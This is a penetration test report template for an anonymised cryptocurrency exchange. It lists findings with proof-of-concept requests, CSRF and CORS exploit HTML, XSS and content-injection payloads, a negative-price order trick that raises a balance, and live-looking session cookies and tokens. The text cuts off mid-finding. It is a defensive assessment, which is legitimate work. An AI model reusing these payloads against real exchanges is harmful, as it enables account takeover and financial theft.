ByteCode pentest report example

WEB APPLICATION
SECURITY ASSESSMENT
Date: ___________
Report for: _________________

This document contains confidential information about the IT systems and
network infrastructure of the customer, as well as information about
potential vulnerabilities and methods of their exploitation.
This confidential information is for internal use by the Customer only, and
shall not be disclosed to third parties.
Document:
Name: ______ Security Assessment report
Date: ___________
Contractor Contacts:
Role Name Email
Responsible
manager
Penetration Testing
Lead
Penetration Testing
Engineer
Penetration Testing
Engineer
Report creator

Table of Contents
Document: 1
Contractor Contacts: 1
Table of Contents 2
Introduction 4
Executive Summary 4
Disclaimer 5
Objectives 6
Scope of the Security Assessment 6
Methodology 7
Definitions & Abbreviations 7
Summary of Findings 9
KEY FINDINGS 12
Wrapping Balance Increase 12
CSRF Token Absence 14
Insufficient Mechanism of 2FA Reset 18
Destroying Basic Trading Panel 21
Unlimited Spam to Own Email 22
High Load Request via Create Wallet 24
High Load Request via Create Withdrawals 26
GET Content Injection via Error 29
Content Injection via Device Verification 29
Zero Withdrawal Request 31
Content Injection via POST Request 34
CORS 36
Captcha Bypass in Login 38
Logout Is Not Working Correctly 40
Full Path File Disclosure via Error 41
Captcha Bypass in WP Panel 42
Reset Token in Referer 44
Potential DoS Request 47
WP Admin Panel Accessible 48

HTTP Without Security Headers 49
Appendix A. WPScan results 52
Appendix В. Burp SSL Scanner 56
Appendix С. Automated Tools 58

Introduction
We thank Client for giving us the opportunity to conduct this Security
Assessment of their web application. This document outlines our
methodology, limitations, and results of the security assessment.
Executive Summary
ByteCode Team (Consultant) was contracted by Client (Customer) to
conduct the IT Security Assessment of their web infrastructure.
This report presents the findings of the security assessment of Client`s
Infrastructure conducted between start date- end date.
The main subject of the security assessment is Client`s exchange web
systems and APIs.
Our Security Team was engaged in activity to conduct a security assessment
of Client’s Web Application in scope. The purpose of the engagement was to
utilize active exploitation techniques in order to evaluate the security of the
web application against best practice criteria, and to validate its security
mechanisms.
4 Critical/High, 7 Medium, 5 Low and 4 Informative vulnerabilities and
errors were identified during the assessment.
According to our research after performing the security assessment, Client`s
Infrastructure was identified as Medium Secure.

Overall security benchmark
Medium Security
The Overall rating of Client’s Web Application, after the security assessment
by the Consultant’s Security Team, stands out to be 6 out of 10. The security
assessment was carried out following the in-house test cases, manual
methods and automated tools.
Disclaimer
This security assessment was conducted for Client`s production environment
and valid on the date of the report submission hereto. The description of
findings, recommendations, and risks were valid on the date of submission
the report hereto. Any projection to the future of the report’s information is
subject to risk due to changes in the Infrastructure architecture, and it may no
longer reflect its logic and controls.

Objectives
IT Infrastructure Security Assessment was conducted in a “grey box” mode
and has the following objectives:
● Identify technical and functional vulnerabilities.
● Estimate their severity level (ease of use, impact on information
systems, etc).
● Modelling the “most likely” attack vector against the Customer’s
Information System.
● Proof of concept and exploitation of vulnerabilities.
● Draw up a prioritized list of recommendations to address identified
weaknesses.
Scope of the Security Assessment
The following list of the information systems was the scope of the Security
Assessment.
# Name Description
1 https://exchange.stg.noname-client.com Web
2 https://www.noname-client.com Web
3 https://api.stg.noname-client.com API
Security Assessment start and end dates were coordinated by email
according to the following table:

Testing start date: start date
Testing end date: end date
Methodology
Our methodology for Security Assessment is based on our own experience,
best practices in the area of information security, international methodologies,
and guides such as PTES and OWASP.
Within the scope of this project, we have investigated the following functional
domains:
● Intelligence gathering activities against a target;
● Service detection and identification;
● Vulnerabilities detection, verification and analysis;
● Exploitation of vulnerabilities;
● Providing recommendations aimed to address a security weakness.
Definitions & Abbreviations
The level of criticality of each risk is determined based on the potential impact
of loss from successful exploitation as well as ease of exploitation, existence
of exploits in public access and other factors.

Risk Level Description
Critical/High
Critical and High-level vulnerabilities are easy in exploitation
and may provide an attacker with full control of the affected
systems, also may lead to significant data loss or downtime.
There are exploits or PoC available in public access.
Medium
Medium-level vulnerabilities are much harder to exploit and
may not provide the same access to affected systems. No
exploits or PoCs available in public access. Exploitation
provides only very limited access.
Low
Low-level vulnerabilities provide an attacker with information
that may assist them in conducting subsequent attacks
against target information systems or against other
information systems, which belong to an organization.
Exploitation is extremely difficult, or impact is minimal.
Info These vulnerabilities are informational and can be ignored.

Summary of Findings
Value Number of risks
Critical/High 4
Medium 7
Low 5
Info 4
According to the following in-depth testing of the environment, Client’s
website and web application requires some improvements.
Based on our understanding of the IT Infrastructure, as well as the nature of
the vulnerabilities discovered, their exploitability, and the potential impact we
have assessed the level of risk for your organization to be Medium.
No major design flaws were identified. Some data manipulation and
corruption mechanisms need to be investigated, also some vulnerabilities
against application and users’ security are the point of concern. The
vulnerabilities identified were the following:
“Wrapping balance increase”, “Missing CSRF token”, “Bad mechanism of
reset 2FA”, “Email spam”, “Potential Application DoS”, “Content injection” and
others.

Summary of Recommendations
Based on key findings we recommend to focus on the next areas:
● Validations are a crucial part of a security for the system and should be
treated as a separate system within the platform with its own structure,
well documented rules and owner. Moreover, validations should be
continuously tested and extended proactively adding new rules and
approaches. While treating it as a separate system, validations could be
included in threat modeling with allocating pain points and percentage
of covering.
● Authorisation is another critical part of the security for the platform.
Authorisation itself has a lot of vectors and places within any system
and platform. We focused on user authorisation and identification.
There are plenty of factors which influence on users trust to exchange.
Users always get tired with difficult flows which has several steps, lasts
long and require an extra effort from the user side. But in case with
authorisation user has to be sure that his money is under strong
protection. There are different approaches for authorisation, we suggest
to implement 6-digit Authenticator as a first step and initiate
authorisation cases discovery to uncover potential cases for
authorisation implementation with focus on users usability and
protection.
● Requests can jeopardize the platform if they inappropriately secured.
Each request should have CSRF-token to be secured and eliminate
danger from cyber security criminals.
Step #1.
Critical and high level issues should be fixed as soon as possible.
Additionally, these issues should be carefully investigated and remediation in
case of prevention such issues in future.

Medium and Low level vulnerabilities not so critical and easy to exploit, that is
why they can be fixed thereafter. Also these issues couldn’t be skipped and
should be fixed as well right after high.
Step #2.
The next step is to start with root causes of appeared issues and
development processes revision. The result of this step is setup actions which
leads to secure software development. Secure Software Development
Lifecycle is only approach to develop reliable software which operates with
money and critical users and business information.
WAF can help to prevent dozens of threats by opting for the most appropriate
one for the platform, existing infrastructure and current circumstances.
Step#3.
Penetration test is a good start for security revision. But only the test will be
not enough to be sure in system/service reliability. This step is focus on
strategy and ownership. Only when security one of the main parts of strategy
and ownership and treated as a separate service, has its roadmap, KPIs and
owner among stakeholders the system fully protected and security team
ready for any situation in our rapidly changing world.
Short list of recommendations:
● Change validation rules to prevent requests with zero or negative
balances;
● CSRF-tokens implementation;
● 6 digit real check from Authenticator;
● Restriction for confirmation emails;
● Fix implementation of captcha;
● Implement rate limit;
● Defend with properly setup WAF;
● Setup Secure SDLC processes for development team.

KEY FINDINGS
Risk level color map
Critical/High Medium Low Informational
The vulnerabilities presented in descending order from High to Low and separated for this
category.
Critical
Wrapping Balance Increase
#1 Description Type: Potential
The bug allows to create an order with negative price. The platform has validation for
unacceptable value, but this case was missed.
As a result, accomplishing of such order entails situation when order amount is not deducted
from the account but added:
acc_balance - (-order_price) = acc_balance+order_price
Evidences
Steps to reproduce:
1. Create order
2. Intercept request
3. Change “price”
4. Send request
Request
POST /v1/trading/orders HTTP/1.1
Host: api.stg.noname-client.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: application/json, text/plain, */*
Accept-Language: ru,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: https://exchange.stg.noname-client.com/acc/trade/LTC-USD

Content-Type: application/json;charset=utf-8
Content-Length: 107
Origin: https://exchange.stg.noname-client.com
Cookie: _ga=GA1.2.1373314543.1562663119; _gid=GA1.2.444414036.1562663119;
AWSALB=DqowJnv0IwTjVzJ2TGoqi5w2SJ//rbxqM9nYlWPtXpZDfrEsKouj6qxDNem32gpRj7IfI
QA93vbVmVL04W6/wHmVUbD/3tivhQmFThekh2Do9umloEu0VARDmCqf;
true=aTS54OxJmH8ri2sEAAEM; io=UCqmWX6hlemWoKvKAAAT;
token=149de8155816a1c12ad22e810879e141219ed01fa44144ca9fe7dda7bc878fc00ea3a664
1158b33bf32a3804f0e6a67b3e4b8f20d885d04ae72f0e6e829ba969e
Connection: close
{"baseAsset":"LTC","quoteAsset":"USD","side":"SELL","type":"LIMIT","quantity":0.2000001,"pric
e":-123432.23}
Recommendations Implement validation on front-end and back-end side of the
platform.

High
CSRF Token Absence
#2 Description Type: Real
Cross-Site Request Forgery (CSRF) is a type of attack that occurs when a malicious web site,
email, blog, instant message, or program causes a user’s web browser to perform an unwanted
action on a trusted site when the user is authenticated. A CSRF attack works because browser
requests automatically include any credentials associated with the site, such as the user's
session cookie, IP address, etc. Therefore, if the user is authenticated to the site, the site
cannot distinguish between the forged or legitimate request sent by the victim. We would need
a token/identifier that is not accessible to attacker and would not be sent along (like cookies)
with forged requests that attacker initiates.
In this case the majority of requests, that make changes in account, works via PATH method,
but some requests works using POST method. at the exchange web system CSRF tokens are
absent, that it is dangerous for some functionality. For example, in request for blocking the
account we can see usage of POST method and this request doesn`t contain CSRF token.
Checking is doing via “Accent” field.There is also a possibility to restore default layout and
remove ip addresses from whitelist.
Evidences
1. Go to https://exchange.stg.noname-client.com/acc/trade-advanced
2. Make moving and resizing blocks
3. Press “Save layout”
If you open “Default layout” then you want to switch “your layout” and make change in panel
and save the changes.

4. Refresh page and check that all changes was saved
5. Run exploit:
http://ec2-18-219-105-21.us-east-2.compute.amazonaws.com/csrf/noname-client/1.html
6. Refresh page and check that all settings have been reset
Exploit
<html>
<body>
<form action="https://api.stg.noname-client.com/v1/auth/preferences/trading-view-layout" method="POST" enctype="text/plain">
<input type="hidden"
name="{"xxlg":[{"h":10.5,"i":"tradingView"
,"w":32,"x":0,"y":21.5,"lastH":10.5
,"isOpen":true},{"h":7,"i":"marketsAgainstQuote
Asset","w":14,"x":17,"y":0,"lastH":7&#
44;"isOpen":true},{"h":7,"i":"openOrders",
"w":18,"x":14,"y":7,"lastH":7,"isOpen&
quot;:true},{"h":7.5,"i":"buyBox","w"
:8,"x":22,"y":14,"lastH":7.5,"isOpen"&#
58;true},{"h":7.5,"i":"sellBox","w":8&
#44;"x":8,"y":32,"lastH":7.5,"isOpen":true&#
125;,{"h":7.5,"i":"orderBook","w":16,&
quot;x":16,"y":32,"lastH":8.2,"isOpen":true}

],"lg":[{"h":10.5,"i":"tradingView",
"w":24,"x":0,"y":0,"lastH":10.5,"is
Open":true},{"h":7,"i":"marketsAgainstQuoteAsset"&
#44;"w":7,"x":0,"y":0,"lastH":7,"isOpen
":true},{"h":7.5,"i":"buyBox","w&quot
;:8.5,"x":7,"y":0,"lastH":7.5,"isOpen&qu
ot;:true},{"h":7.5,"i":"sellBox","w"&#5
8;8.5,"x":15.5,"y":10.5,"lastH":7.5,&quo
t;isOpen":true},{"h":8.2,"i":"orderBook",&q
uot;w":17,"x":7,"y":0,"lastH":8.2,"isOpe
n":true},{"h":2.5,"i":"openOrders","w
":17,"x":8,"y":0,"lastH":2.5,"isOpen&qu
ot;:true}],"md":[{"h":10,"i":"tradingVie
w","w":20,"x":0,"y":0,"lastH":10,&
quot;isOpen":true},{"h":7.5,"i":"marketsAgainstQuote
Asset","w":6,"x":0,"y":0,"lastH":7.
5,"isOpen":true},{"h":7.5,"i":"buyBox&quot
;,"w":7,"x":6,"y":0,"lastH":7.5,&qu
ot;isOpen":true},{"h":7.5,"i":"sellBox",&qu
ot;w":7,"x":13,"y":0,"lastH":7.5,"isOpen
":true},{"h":8.2,"i":"orderBook","w&q
uot;:20,"x":0,"y":1,"lastH":8.2,"isOpen"
:true},{"h":2.5,"i":"openOrders","w"&
#58;20,"x":0,"y":2,"lastH":2.5,"isOpen"&#58
;true}],"sm":[{"h":10,"i":"tradingView"
,"w":12,"x":0,"y":0,"lastH":10,"is
Open":true},{"h":3,"i":"marketsAgainstQuoteAsset"&
#44;"w":18,"x":0,"y":0,"lastH":3,"isOpe
n":true},{"h":7.5,"i":"buyBox","w&qu
ot;:6,"x":0,"y":0,"lastH":7.5,"isOpen"&#
58;true},{"h":7.5,"i":"sellBox","w":6&
#44;"x":6,"y":0,"lastH":7.5,"isOpen":true&#1
25;,{"h":8.2,"i":"orderBook","w":12,&q
uot;x":0,"y":1,"lastH":8.2,"isOpen":true}&#4
4;{"h":3,"i":"openOrders","w":12,"x"&
#58;0,"y":1,"lastH":3,"isOpen":true}],"xs&q
uot;:[{"h":8,"i":"tradingView","w":8,&q
uot;x":0,"y":0,"lastH":8,"isOpen":true},&#12
3;"h":2.5,"i":"marketsAgainstQuoteAsset","w":8,&
quot;x":0,"y":0,"lastH":2.5,"isOpen":true}&#
44;{"h":7.5,"i":"buyBox","w":8,"x&quo
t;:0,"y":0,"lastH":7.5,"isOpen":true},{
"h":7.5,"i":"sellBox","w":8,"x":0&
#44;"y":0,"lastH":7.5,"isOpen":true},{"h&q
uot;:8.2,"i":"orderBook","w":8,"x":0,&q
uot;y":1,"lastH":8.2,"isOpen":true},{"h"&#5
8;3,"i":"openOrders","w":8,"x":0,"y"&#
58;1,"lastH":3,"isOpen":true}],"xxs":[{&quo
t;h":8,"i":"tradingView","w":4,"x":0,&qu
ot;y":0,"lastH":8,"isOpen":true},{"h":7&#46
;5,"i":"buyBox","w":4,"x":0,"y":0&
#44;"lastH":7.5,"isOpen":true},{"h":7.5,&qu
ot;i":"sellBox","w":4,"x":0,"y":0,"l
astH":7.5,"isOpen":true},{"h":2.5,"i"&
#58;"marketsAgainstQuoteAsset","w":4,"x":0,"y":0&#4
4;"lastH":2.5,"isOpen":true},{"h":8.2,"
i":"orderBook","w":4,"x":0,"y":1,"l
astH":8.2,"isOpen":true},{"h":2.5,"i"&
#58;"openOrders","w":4,"x":0,"y":1,"lastH&
quot;:2.5,"isOpen":true}]}" value="" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>

Request
POST /v1/auth/whitelist/ip/remove HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0
Accept-Language: en-US,en;q=0.5
Referer: https://exchange.stg.noname-client.com/acc/security
Content-Length: 29
Connection: close
Cookie: _ga=GA1.2.897348961.1561970234;
AWSALB=ebaOX6iJkm7RLpAFfxGXVs24WS8ZSd07rvlcuv4P84rP2UXyx2GOnO5Am0ZCwGD
89KBgDnX1WWzLIXGdytlN5NEEL+CbviOADIE2ro1G86RGyAM+FwNUc2Itz1yB;
true=LYGlgIkRJ6Txzm7yAADI; io=gYXzAMmYvHIs_oKMAABz;
token=176f69882fe159914acc10fe696af3da488f59aa2f02848d340a8403e09f9cf7508ace053f9
3039e0715046a64edfefac169969a05cbad5d92560a67fa6cccfb0
{"ipAddress":"127.0.0.1"}
CSRF PoC
<html>

<body>
<script>history.pushState('', '', '/')</script>
<form action="https://api.stg.noname-client.com/v1/auth/whitelist/ip/remove"
method="POST" enctype="text/plain">
<input type="hidden"
name="{"ipAddress":"127.0.0.1"&#12
5;" value="" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
Recommendations 1. Implement CSRF-tokens
2. Сhange Type request to PATH
3. Use this manual for developers
https://github.com/OWASP/CheatSheetSeries/blob/mast
er/cheatsheets/Cross-Site_Request_Forgery_Prevention
_Cheat_Sheet.md

Insufficient Mechanism of 2FA Reset
2FA can be reset without knowing a 6-digit code. To repeat it users should be authorized and
known password for the account.
Evidences
1. Go to Registration or Authentication in Settings.
2. Enable 2FA
3. Open form for disable 2FA
4. Input real password and 6 random digits
5. 2FA will be reset without real cheks 6 digits

Recommendations 1. Implement checks real 6-digit from Authenticator

Destroying Basic Trading Panel
The server does not restrict the size value of price by coin. For example user can set price of
order:
9999999999999999999999999999999999999999999999999999999999999999999999999.
If somebody buy part of this order then on this user it deal will be saved in history of deals and
light interface cannot be open. This vulnerability affects all users who perform this order.
Evidences
Request
POST /v1/trading/orders HTTP/1.1
Referer: https://exchange.stg.noname-client.com/acc/trade/LTC-USD
Content-Length: 141
AWSALB=kXhwxa+kc2tphZjVeNoDS9jgvazz3LNzSHOjh+rxmEFUWF4nndDNxAteHDARkIjuhY
Sn6uQWs9lr0IjQQLEmO2w/Zk2DeXlWv+fqy/cMiT64++jxA0/Egl1ozo3j;
true=XvvIg55l_3jtr4uKAAEq; io=NinVPtnyFQ7jWL2nAAAo;
token=14422085d10b8916ebc68f04a7f09da6f61a41d65ae66b703c482447fa4a8b1034dd6d61
3d6893132291712a938925ad95fb6683c67a450dcc8e245b8c93a4a67
Connection: close
{"baseAsset":"LTC","quoteAsset":"USD","side":"SELL","type":"LIMIT","quantity":0.2,"price":9999
999999999999999999999999999999999999999999999}
Recommendations Implement filters of values on front-end and back-end

Medium
Unlimited Spam to Own Email
There is possibility to send unrestricted amount of email letters on email confirmation
functionality. It can be used for email spamming and blocking by spam filters like
spamhaus.org or email exhaustion if cloud solution used for mail sending.
Evidences

Request
POST /v1/auth/whitelist/resend-email HTTP/1.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:60.0) Gecko/20100101
Firefox/60.0'"><h1>loool<h1><br>
Referer: https://exchange.stg.noname-client.com/auth/login?confirmNewIPAddress=true
Content-Length: 32
AWSALB=GAqNlCerV8UMeOMVovBsHOJx3VxYmfPIUVLRwAetyONl3rE6c2RLcK+rJMuiykiYZ
q66oNnt88gsUQ1TvG6gLyyxrLYp3eEPZ5Pt1fM2a7+JQ7Ha6k1JOSLAH/oj;
true=Tk1g9GvZwuFxc91tAAA3; io=GEvW-TzXz-YfNuf1AAAz
Connection: close
{"email":"******@gmail.com"}
Recommendations 1. The amount of confirmation emails should be restricted.
2. Implement captcha

High Load Request via Create Wallet
After verification of account user can add his or her own wallet, ex. BTC. The problem is in
unlimited quantity of wallets that will be added. After that, user can get all the wallets using
another request. Attacker can create a large number of wallets and after that it is easy to get
the list of all the wallets. As the result, DB and server will get high load.
Evidences
Steps to reproduce:
1. Go to create wallet - https://exchange.stg.noname-client.com/acc/withdrawals/BTC
3. Sent request to Intruder
4. Add payload
5. Start attack
6. After finish go to getting wallet
Request for wallet creation
POST /v1/wallet/addresses HTTP/1.1
Referer: https://exchange.stg.noname-client.com/acc/withdrawal-address
Content-Length: 76
AWSALB=TlfNnfcVF3sjgKGB/RN1lhk3OHSACvhsOLsdGihQ/HcFWPfR7IkXRgjK/NVu3DK8XM
zyfZGB5zMQprhz1YqiaWTfOMfk0+dG4c9k0c0Qnf7BMu3oYZ3ywfpAKuzC;
true=NsuMm7LE7k9ZIf9AAABD; io=UKVw3NHSD91D3cjNAAA5;
token=1442ca0e8dfdf760feab4fe52fc9bf5b3d43280e8b6565458e5bb2aca8c8a5bee0aa12e335
c93d9e27012cf637421cefafedd5bbe45fe979ab17f2980d274f0de
Connection: close
{"name":"'"><svg onload=alert(1)>","asset":"BTC","publicAddress":"1212121"}
Request for getting wallet

GET /v1/wallet/addresses HTTP/1.1
Referer: https://exchange.stg.noname-client.com/acc/withdrawals/BTC
AWSALB=/kfgoBZ6CItme6OC2D2a5CIAThIpk9honI2ATtrh7JrBLXDK1RIDJOBs7tbSVNgI43qx
POZPocZeS538ItsQIp9XsK2vUwWfV5L1mYetgIYGpv0/Ei3MMGZ6fFln;
true=apSOZf4fda8aPGnJAABE; io=ZOzwSRbebOiuQImXAAA6;
token=1442ca0e8dfdf760feab4fe52fc9bf5b3d43280e8b6565458e5bb2aca8c8a5bee0aa12e335
c93d9e27012cf637421cefafedd5bbe45fe979ab17f2980d274f0de
Connection: close
Recommendations 1. Implement rate limit
2. Use captcha
3. Use WAF to prevent exploiting the vulnerability

High Load Request via Create Withdrawals
After verification of account user can add his or her own withdrawals, ex. BTC. The problem is
in unlimited quantity of withdrawals that will be added. After that, user can get all the
withdrawals using another request. Attacker can create a large number of withdrawals and
after that it is easy to get the list of all the withdrawals. As a result, DB and server will get high
load.
Evidences
Steps to reproduce:
1. Go to create withdrawals
3. Sent request to Intruder
4. Add payload
5. Start attack
6. After finish go to getting withdrawals
Request to create withdrawals
POST /v1/wallet/withdrawals HTTP/1.1
Content-Length: 109
Cookie: _ga=GA1.2.1373314543.1562663119;
AWSALB=wTPtHPwbm6573JCPT4ex5NnTlnLtnU6x2lOhsyhwkqRoBpoWmw0pS1s+58IuRnYU
xvp3/poA5sRim0pMWCQ9yN20hD+yR4Y9QyYk78Le2mBtbMVE1+0Iu6JPidfU;
true=ETB96uE-MsjnwJLbAAHd; io=EBu8AJikiCFTBgXKAACK;
token=1c06096ce54f59a5493a120ff383911c626c67fc228926f257372de0c2ba15885f4a5620ae
a80e0260aae2c65b20c22783243cfd20167c673bd74aa7e892e0bb1
Connection: close

{"amount":".00000000009999","destinationId":"16f1503c-425f-4fb0-b3e5-c9ec83f2318c","destin
ationType":"address"}
Request to get all withdrawals
GET /v1/wallet/withdrawals HTTP/1.1
Cookie: _ga=GA1.2.1373314543.1562663119;
AWSALB=8OULoKQEC93WZ3xt8o3Os32ZT1lFKW1Vg5CI6RJ8psQVlEUq32KMg2EUG9c5flX
9t2N8ewsguL05Vkka7qqQ//P76NSsxYRTNgC1pVR/dpZo7JKov5/VSAkrNJyR;
true=igEcklarKv1uxVf5AAHs; io=EBu8AJikiCFTBgXKAACK;
token=1c06096ce54f59a5493a120ff383911c626c67fc228926f257372de0c2ba15885f4a5620ae
a80e0260aae2c65b20c22783243cfd20167c673bd74aa7e892e0bb1
Connection: close
Cache-Control: max-age=0

Recommendations 1. Implement rate limit
2. Use captcha
3. Use WAF to prevent exploiting the vulnerability

GET Content Injection via Error
Content injection is an attack targeting a user made possible by an injection vulnerability in a web
application. When an application does not properly handle user-supplied data, an attacker can
supply content to a web application, typically via a parameter value, that is reflected back to the
user. This presents the user with a modified page under the context of the trusted domain.
This attack is typically used as, or in conjunction with, social engineering because the attack is
exploiting a code-based vulnerability and a user's trust. As a side note, this attack is widely
misunderstood as a kind of bug that brings no impact.
Evidences
Go to link with payload
https://api.stg.noname-client.com/v1/trading/admin/admin/all-orders-------------------------------------
-----------------------------SEND_ME_YOUR_PASSWORD_TO_hacker@gmail.com
Recommendations ● Add CSRF tokens into headers
● Check header for payload possibility
Content Injection via Device Verification

exploiting a code-based vulnerability and a user's trust. This attack is widely misunderstood as a
kind of bug that brings no impact.
Evidences
1. Go to Email verification and turn it on
3. Inject into User-Agent payload
4. Send request with injection
Request:
POST /v1/auth/whitelist/resend-email HTTP/1.1
------------------------------------------------------------ ------------------------------------------------------------
SEND ME YOUR PASSWORD TO hacker@gmail.com
Referer: https://exchange.stg.noname-client.com/auth/login?confirmNewIPAddress=true
Content-Length: 34
AWSALB=/MxFNBGDQwY9BeWEeF/mA7Nq3UuCv4DwRvDZgMo64AAcUVG9UnC8dEICZGE
xM9oTCOwYmVHvffZsZTd55VWZO4lmjuV+iIRISudFRlHpszAYnvygY8Tgxd4O4kIE;
true=U5EPzUvWc7auG2jFAAC2; io=PVsDDNeqtTipGuvgAABx
Connection: close
{"email":"hacker@gmail.com"}
Email with injection:

Recommendations Add CSRF tokens into headers
Checks header for payload possibility
Zero Withdrawal Request
#10 Description Type: Potential
User can make a withdrawal with zero balances. Potentially this may lead to vulnerability
rounding and balance increase.

Evidences
Request:
POST /v1/wallet/withdrawals HTTP/1.1
Referer: https://exchange.stg.noname-client.com/
Content-Length: 113
Cookie:
AWSALB=m7zSeSE1e05cn7+A/dlHrtcIOk5D8vBlS1Ry3akHyPhVzLkGy1/Mgxd6qZsghWP6rP
mzb91YrK/fVIfznXsaHEuzLFOgC/FjsqExZiZct21rOUTgnsYFg3fLZiTJ;
true=R6VHzjL5ziztEeDrAAGh; io=QeWIMbI9AHz9jUVLAABj;
token=11870fa2cb3636e13b8ffad48fd8ff93790f81b02be4d48c10ba97164bb8db1e7f00da7bd1
bcfb41e1e686c5012dffc9f087c8a324bb3d4a75f00f5f3492fe947
DNT: 1
Connection: close
{"amount":".0.000000000000000000000000000000000000000000000000001","destinationId":"
16f1503c-425f-4fb0-b3e5-c9ec83f2318c","destinationType":"address"}

Recommendations Disable the possibility of sending a request with zero or
negative balances
Content Injection via POST Request
exploiting a code-based vulnerability and a user's trust. As a side note, this attack is widely
misunderstood as a kind of bug that brings no impact.

Evidences
Steps to reproduce:
2. Add payload
3. Send request
Request:
POST /v1/auth/gsl HTTP/1.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:60.0) Gecko/20100101
Firefox/60.0'"><h1>loool<h1><br>
Content-Length: 43
AWSALB=xPVpy9iw/PJJ36oiYuI01kemhaUzG+eyz3SZlm0SbGhj2fvr34V65nluIVKcYCUhOMB
Q/k9UKyqandlaY5UE5SM6m/C7X3bfdW+AZjs+L/7bfoo/bEYQ6rh5IDQ3;
true=M9sdX_Q_JyqMN_cWAACQ; io=y2J9yPRetueu94tSAABu;
token=1cd202a767e1fdf8e89f047300f1d3903d7c699302d15415c1c1b9563db8effc78b8340bec
77b10e816b68e6126734c9cf0143c8e7ecc542a0cc908b85736dfec
Connection: close
{"This is content injection":"xx.xx.xx.xx"}
Recommendations ● Add CSRF tokens into headers

● Checks header for payload possibility
CORS
An HTML5 cross-origin resource sharing (CORS) policy controls whether and how content
running on other domains can perform two-way interaction with the domain that publishes the
policy. The policy is fine-grained and can apply access controls per-request based on the URL
and other features of the request.
Trusting arbitrary origins effectively disables the same-origin policy, allowing two-way
interaction by third-party web sites. Unless the response consists only of unprotected public
content, this policy is likely to present a security risk.
If the site specifies the header Access-Control-Allow-Credentials: true, third-party sites may be
able to carry out privileged actions and retrieve sensitive information. Even if it does not,
attackers may be able to bypass any IP-based access controls by proxying through users'
browsers.
Evidences
Request:
GET /markets/subscribe/?EIO=3&transport=polling&t=Ml_3pLH HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: */*
Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3
Origin: http://vulnerable
Connection: close
Referer: https://exchange.stg.noname-client.com/acc/trade/BTC-USD
Cookie:
AWSALB=rsIaGSR16bdF7LOQf7TjY3TzHXZiOJ2+IKL0w4H31gUolDbsncWYjfGJvooo4y0VcD
WGlZhYSUhqDkqoDlFHQ10BhMosw+Urkj2EM6qH6Mfu6wzmPcySXMNpkrsU;
true=z-VzqNGCsZ_ptJvCAAJP;
token=1494ae162d651b9d160c116af0e1080a0a5fb56709bf99913da8511d2ac023dbb980bcdc
4c8fced29e52540aa7f2c859c3395b31d59284ea9c3f7e1951730f692;
io=h_ZVauUYv9jbEt-IAACx; privacyPolicyAccepted=true

Exploit:
<!DOCTYPE html>
<html>
<body>
<center>
<h2>CORS POC Exploit</h2>
<h3>Extract SID</h3>
<div id="demo">
<button type="button" onclick="cors()">Exploit</button>
</div>
<script>
function cors() {
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
document.getElementById("demo").innerHTML = alert(this.responseText);
}
};
xhttp.open("GET",
"https://api.stg.noname-client.com/markets/subscribe/?EIO=3&transport=polling&t=Ml_3pLH",
true);
xhttp.withCredentials = true;
xhttp.send();
}
</script>
</body>
</html>

Recommendations Rather than using a wildcard or programmatically verifying
supplied origins, use a whitelist of trusted domains.
Low
Captcha Bypass in Login
#13
Description:
Captcha avoiding while account authorisation
Type: Real
Steps to reproduce
Authorisation page (https://exchange.demo.noname-client.com/auth/login) requires credentials
and captcha. According to an authorisation flow: the system sends first request with
successfully validated login pass and captcha, then ask for 6-digit code and sends a second
request with login, password and code without captcha. With second request could be made

password brute force or authorisation in many accounts bypassing captcha.
Evidences ● api.demo.noname-client.com
Request
System sends authorisation request without captcha and receives proper respond.
POST /v1/auth/mfa/otp/verify HTTP/1.1
Host: api.demo.noname-client.com
Referer: https://exchange.demo.noname-client.com/auth/login
Content-Length: 78
Origin: https://exchange.demo.noname-client.com

AWSALB=IAaIq6rjI+fCT0Q2JU+ptKY5RyGMVaKEZ5qF5NmNalX572ymW4m0i453x9XXfEYcq
ZIhXuSzQlMYRMbaUoRG8Hs1U7pMw4G2dQrXdDBcvSWmlvby1OrddH3/OkEZ;
true=uJjVRG2YJXW0oGZXAAA3; io=udw_bkPzxH7se7GlAAEN
Connection: close
{"email":"********@gmail.com","password":"QQqq1111111111!!","code":"1111"}
Recommendations Implement Captcha usage properly.
Logout Is Not Working Correctly
A session continues being active after logging out.
Evidences
Request for checking deactivated session. 14:50 9072019
GET /v1/auth/me HTTP/1.1
Referer: https://exchange.stg.noname-client.com/acc/profile
AWSALB=2s7lm2Pg4Cdrqib9pUqeJy5dkujiRjgRqo1Lvx5oQChv+xpXtn7cxiYCD+NIx0Y7FEn9Y
ENfMNma0WWK2Ft5NQXhLgfhNujk7oHEJz7nVh3x1iJ2oezNacBACowG;
token=1644b043e93e70c84aee97b6fd91cd73cb2b059a9ff801d772bdcf67d87d15b2b7b820e45
d6410901e7e190cf54a41308eed1fe539b58e4b550a00eeacfcf1bce;
true=5yh8oosie2zDF-piAAAb; io=i6Wh88Q0FwNldeGDAAAK
Connection: close
Recommendations This situation occurs due to using standard cookies. It’s better
to use Bear header instead of standard cookies.

Full Path File Disclosure via Error
A stack trace is an information leak, which reveals information about your implementation.
Whilst not a serious vulnerability, it does allow an attacker to gain certain information about your
system. It may also allow them to use a debugging-based approach to exploiting flaws in your
site. Ignoring the security implications, it's not exactly confidence-inducing for your customers to
see a stacktrace. They'll assume the site is broken (which it is, really) and worry about whether
their transaction will work, or perhaps even think that the site has been hacked.
Evidences
Steps to reproduce:
2. Add any payload
3. Send request
Request
POST /privacy-policy-2/ HTTP/1.1
Content-Length: 184
Content-Type: application/x-www-form-urlencoded
Referer: https://www.noname-client.com
Cookie: wordpress_test_cookie=WP+Cookie+check;
gtm4wp_last_weatherstatus=Openweathermap.org+returned+status+code%3A+401;
